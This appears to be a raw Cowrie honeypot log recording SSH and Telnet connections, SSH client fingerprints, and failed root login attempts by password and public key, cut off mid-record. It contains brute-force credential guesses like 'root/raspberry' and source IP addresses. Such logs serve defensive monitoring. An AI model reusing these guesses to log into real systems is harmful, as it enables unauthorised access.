{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:53.322278Z","src_ip":"103.27.238.114","session":"f2e0ab54981b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yjdsqujl","message":"login attempt [root/yjdsqujl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:54.135179Z","src_ip":"103.27.238.114","session":"f2e0ab54981b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":32740,"dst_ip":"10.17.0.5","dst_port":22,"session":"2032af794e1b","protocol":"ssh","message":"New connection: 158.178.141.16:32740 (10.17.0.5:22) [session: 2032af794e1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:54.864981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:54.870095Z","src_ip":"158.178.141.16","session":"2032af794e1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:55.079561Z","src_ip":"158.178.141.16","session":"2032af794e1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:55.408999Z","src_ip":"103.27.238.114","session":"f2e0ab54981b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"on123","message":"login attempt [root/on123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:55.944210Z","src_ip":"158.178.141.16","session":"2032af794e1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40216,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f7a3ef4a629","protocol":"telnet","message":"New connection: 192.119.13.58:40216 (10.17.0.5:23) [session: 4f7a3ef4a629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:57.027530Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:57.158071Z","src_ip":"158.178.141.16","session":"2032af794e1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":43770,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbe775600473","protocol":"ssh","message":"New connection: 170.238.160.191:43770 (10.17.0.5:22) [session: bbe775600473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:59.247065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:59.251882Z","src_ip":"170.238.160.191","session":"bbe775600473","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:59.368930Z","src_ip":"170.238.160.191","session":"bbe775600473","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raspberry","message":"login attempt [root/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:42:59.869498Z","src_ip":"170.238.160.191","session":"bbe775600473","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:00.990281Z","src_ip":"170.238.160.191","session":"bbe775600473","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.62.179","src_port":64894,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a324ee5fe92","protocol":"ssh","message":"New connection: 68.235.62.179:64894 (10.17.0.5:22) [session: 7a324ee5fe92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:01.171802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:01.176894Z","src_ip":"68.235.62.179","session":"7a324ee5fe92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:01.207996Z","src_ip":"68.235.62.179","session":"7a324ee5fe92","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:8f:85:ec:0e:b4:d9:67:15:e9:5d:29:51:68:84:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0R9bcrarBwKRQWv/BA6feVSKyHNbQBrGWtC3YbSwb46Ay5Uc4P1fmGRcyp0ObXSwH6pNHn7GBUddN3iW2GuCxqH9AdgWxXneP78bwVmodPVflst8hq/zQpR1Lpu+Tl9459TqCdbMfkvuwRXYJG9KiXjq21wQdMLtWlnrEhpcMICZw43tBozSGNU0BaVCSLsOf5X2FtMbEN8ATB0H3hi1OHFCFe+x+Iaka6oMx/NjNFBcYSayE8gv+nd/4QoLkDwa2bjAPFoDegwOhf2r6kov0iyxnRQGNE3fTXMAl05ju5I09mTcJj//aRkDFoyQuR67o9CT+ADnne0jQkUWRSqrHw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3d:8f:85:ec:0e:b4:d9:67:15:e9:5d:29:51:68:84:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:01.340300Z","src_ip":"68.235.62.179","session":"7a324ee5fe92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:8f:85:ec:0e:b4:d9:67:15:e9:5d:29:51:68:84:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0R9bcrarBwKRQWv/BA6feVSKyHNbQBrGWtC3YbSwb46Ay5Uc4P1fmGRcyp0ObXSwH6pNHn7GBUddN3iW2GuCxqH9AdgWxXneP78bwVmodPVflst8hq/zQpR1Lpu+Tl9459TqCdbMfkvuwRXYJG9KiXjq21wQdMLtWlnrEhpcMICZw43tBozSGNU0BaVCSLsOf5X2FtMbEN8ATB0H3hi1OHFCFe+x+Iaka6oMx/NjNFBcYSayE8gv+nd/4QoLkDwa2bjAPFoDegwOhf2r6kov0iyxnRQGNE3fTXMAl05ju5I09mTcJj//aRkDFoyQuR67o9CT+ADnne0jQkUWRSqrHw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:01.344947Z","src_ip":"68.235.62.179","session":"7a324ee5fe92","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:3d:23:05:88:92:e9:0f:b4:82:2a:45:84:bc:e0:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWSp6PBC8931Gsct2xGu+xU+MNb8n2Bo+NPwgyD8tlkdPPVKyefPs0oaXlElWeb4A+sMwNHOg4GHh3aMNADRIz3WCCFvvqmpAlTF/tEV7JABkQND/p8M48PhYf+wdb3Km3CghK2ewmTkht/ixghCxVg6q/mF90nU+h5vxzviiX2kFwcPVKbHOkrlXAJyAUKhhm4pSDCpiCbdLYwdO5thy3Ev86fH4dUWMwts3rySSND03U5NUJh5uNlaypvT2kw0OkPILXLjXvOIwPo4Y2V39Qf38aWs51T1F94af5Y2T9MdEStlp24cftNILzNMcvMAPk5GiIIQ/rwjAQ0yhzkYRD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8d:3d:23:05:88:92:e9:0f:b4:82:2a:45:84:bc:e0:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:01.385070Z","src_ip":"68.235.62.179","session":"7a324ee5fe92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:3d:23:05:88:92:e9:0f:b4:82:2a:45:84:bc:e0:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWSp6PBC8931Gsct2xGu+xU+MNb8n2Bo+NPwgyD8tlkdPPVKyefPs0oaXlElWeb4A+sMwNHOg4GHh3aMNADRIz3WCCFvvqmpAlTF/tEV7JABkQND/p8M48PhYf+wdb3Km3CghK2ewmTkht/ixghCxVg6q/mF90nU+h5vxzviiX2kFwcPVKbHOkrlXAJyAUKhhm4pSDCpiCbdLYwdO5thy3Ev86fH4dUWMwts3rySSND03U5NUJh5uNlaypvT2kw0OkPILXLjXvOIwPo4Y2V39Qf38aWs51T1F94af5Y2T9MdEStlp24cftNILzNMcvMAPk5GiIIQ/rwjAQ0yhzkYRD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:01.389275Z","src_ip":"68.235.62.179","session":"7a324ee5fe92","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:61:75:78:ff:8f:8f:d6:e5:f3:0e:b2:2e:e1:4b:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDciESglk7nzzMTdPYPxYo/mPgtAaifij+QNyhNyPOl7dQz2gCsCnYTovtuTVajPHH33djqx424A11Ifjs+VYQGpQEU0AT3opaRgDoYSmSd7hd8ZmHrnOe69WAlBG3/z72+JhO5TQIwWsHCDnedN1nWGzYH15+WnjEgn6bpmFCGlpI+AD6gnfQ0vpBTtcP2AVVS/tktyWPLXzQFTBFlbDBGo7o4C4wLnI4W8Ff7UclVbJwSfeBShHcm1I5onNl+5r6um9yO50sKbIDO4rJzHVGmvvcwvtTcexXj+0KHMgIhpcsH6hyuVaxWSEKegyco4vWaQ0liE4WLkebKGQUIm5KV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:61:75:78:ff:8f:8f:d6:e5:f3:0e:b2:2e:e1:4b:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:01.424004Z","src_ip":"68.235.62.179","session":"7a324ee5fe92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:61:75:78:ff:8f:8f:d6:e5:f3:0e:b2:2e:e1:4b:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDciESglk7nzzMTdPYPxYo/mPgtAaifij+QNyhNyPOl7dQz2gCsCnYTovtuTVajPHH33djqx424A11Ifjs+VYQGpQEU0AT3opaRgDoYSmSd7hd8ZmHrnOe69WAlBG3/z72+JhO5TQIwWsHCDnedN1nWGzYH15+WnjEgn6bpmFCGlpI+AD6gnfQ0vpBTtcP2AVVS/tktyWPLXzQFTBFlbDBGo7o4C4wLnI4W8Ff7UclVbJwSfeBShHcm1I5onNl+5r6um9yO50sKbIDO4rJzHVGmvvcwvtTcexXj+0KHMgIhpcsH6hyuVaxWSEKegyco4vWaQ0liE4WLkebKGQUIm5KV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:01.427666Z","src_ip":"68.235.62.179","session":"7a324ee5fe92","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:34:fc:8e:10:33:8b:07:80:30:5a:f1:5e:f7:88:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxSawcKWZ5YIHwDs2CAYN0pvj8TIC0ueHYokPeADjlgIDudG4Pm9oFHslL5MgGN3vJZ1tpbDnDWpfEeHrlZmaSTp+iUKd1H214sfIYd5/+dpReVYlDjzJxlZ3QjYD848WlL4pHGggvQ8rpT1CT3VSJ/yuGgBlk900OutYrv38wgoFALa/b3twBYSMZfasYs8NHKVa00KY9369dQJiHwNg3U/exo56X5Vi8lRLuNp59xqN6cvI+rS35ItKwttZ/dsOITdnA/1P84DYrjv/SQWo4OgF9OlkCiyfVEzni4KnjhsYRnawLE4ZDunuQ7NZaU/NGy8c9uwwXrZN4cbIytwJn8+aTmnK9vD5dWPfvTPPnkP0uc6jKnh6oKH51xlyFMtLkhYEY133VY/FoQ43kUdKnwsATqzRRxRtUumHdZvScaVJnQaMRUlA+j6tJ0E+Lckxr7JbUbcWCtE+93NHFE+JsuqeO70UtWuD5ohBiA71/5dEAYoM2YBr5p9Ter+vMqes=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5f:34:fc:8e:10:33:8b:07:80:30:5a:f1:5e:f7:88:2d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:01.458746Z","src_ip":"68.235.62.179","session":"7a324ee5fe92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:34:fc:8e:10:33:8b:07:80:30:5a:f1:5e:f7:88:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxSawcKWZ5YIHwDs2CAYN0pvj8TIC0ueHYokPeADjlgIDudG4Pm9oFHslL5MgGN3vJZ1tpbDnDWpfEeHrlZmaSTp+iUKd1H214sfIYd5/+dpReVYlDjzJxlZ3QjYD848WlL4pHGggvQ8rpT1CT3VSJ/yuGgBlk900OutYrv38wgoFALa/b3twBYSMZfasYs8NHKVa00KY9369dQJiHwNg3U/exo56X5Vi8lRLuNp59xqN6cvI+rS35ItKwttZ/dsOITdnA/1P84DYrjv/SQWo4OgF9OlkCiyfVEzni4KnjhsYRnawLE4ZDunuQ7NZaU/NGy8c9uwwXrZN4cbIytwJn8+aTmnK9vD5dWPfvTPPnkP0uc6jKnh6oKH51xlyFMtLkhYEY133VY/FoQ43kUdKnwsATqzRRxRtUumHdZvScaVJnQaMRUlA+j6tJ0E+Lckxr7JbUbcWCtE+93NHFE+JsuqeO70UtWuD5ohBiA71/5dEAYoM2YBr5p9Ter+vMqes=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:01.463791Z","src_ip":"68.235.62.179","session":"7a324ee5fe92","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:e2:39:a5:84:cd:01:31:6f:f3:ca:2f:99:f3:54:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0JwWNhAMDvVdQCYnqoStajs0L+VSfS/fZ6S1pl3LcqvCMrasLp6zhW19mipBfO+7+xbjY1Ub4sgkVk/ZS/Uvt1dX/0k+BowQNY9jKT86JbHHIR0DQfbmlYn2FffvsExkUZnw0qBLkEilKK1kM2YSLoA9S4kYofDro+S3mW9v0j7UjsC9DrIjdNu9nG+6Qg7a4KA4ijzo6KNPzgL9o2yYRCbW8oisBc512WBUeESB1ojfL/pRHGV6tXClbwNS8P3npYwb6CogE8Z17A/56W3bkDzAvuGvmVtlIxDufZLgR7irN+xztnkS5f9rZgl50dzM8BY4bpNpwsH3VZHSzgP6oQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:e2:39:a5:84:cd:01:31:6f:f3:ca:2f:99:f3:54:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:01.496815Z","src_ip":"68.235.62.179","session":"7a324ee5fe92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:e2:39:a5:84:cd:01:31:6f:f3:ca:2f:99:f3:54:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0JwWNhAMDvVdQCYnqoStajs0L+VSfS/fZ6S1pl3LcqvCMrasLp6zhW19mipBfO+7+xbjY1Ub4sgkVk/ZS/Uvt1dX/0k+BowQNY9jKT86JbHHIR0DQfbmlYn2FffvsExkUZnw0qBLkEilKK1kM2YSLoA9S4kYofDro+S3mW9v0j7UjsC9DrIjdNu9nG+6Qg7a4KA4ijzo6KNPzgL9o2yYRCbW8oisBc512WBUeESB1ojfL/pRHGV6tXClbwNS8P3npYwb6CogE8Z17A/56W3bkDzAvuGvmVtlIxDufZLgR7irN+xztnkS5f9rZgl50dzM8BY4bpNpwsH3VZHSzgP6oQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:01.501375Z","src_ip":"68.235.62.179","session":"7a324ee5fe92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:01.535359Z","src_ip":"68.235.62.179","session":"7a324ee5fe92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.50366520881653,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:01.900212Z","src_ip":"192.119.13.58","session":"721453a1b06f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.81167912483215,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:05.209557Z","src_ip":"192.119.13.58","session":"69dc07180005","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.26806354522705,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:10.929213Z","src_ip":"192.119.13.58","session":"6c89c44197d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":25860,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2a6e290f6df","protocol":"ssh","message":"New connection: 38.93.206.2:25860 (10.17.0.5:22) [session: c2a6e290f6df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:11.303173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:43:11.308277Z","src_ip":"38.93.206.2","session":"c2a6e290f6df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256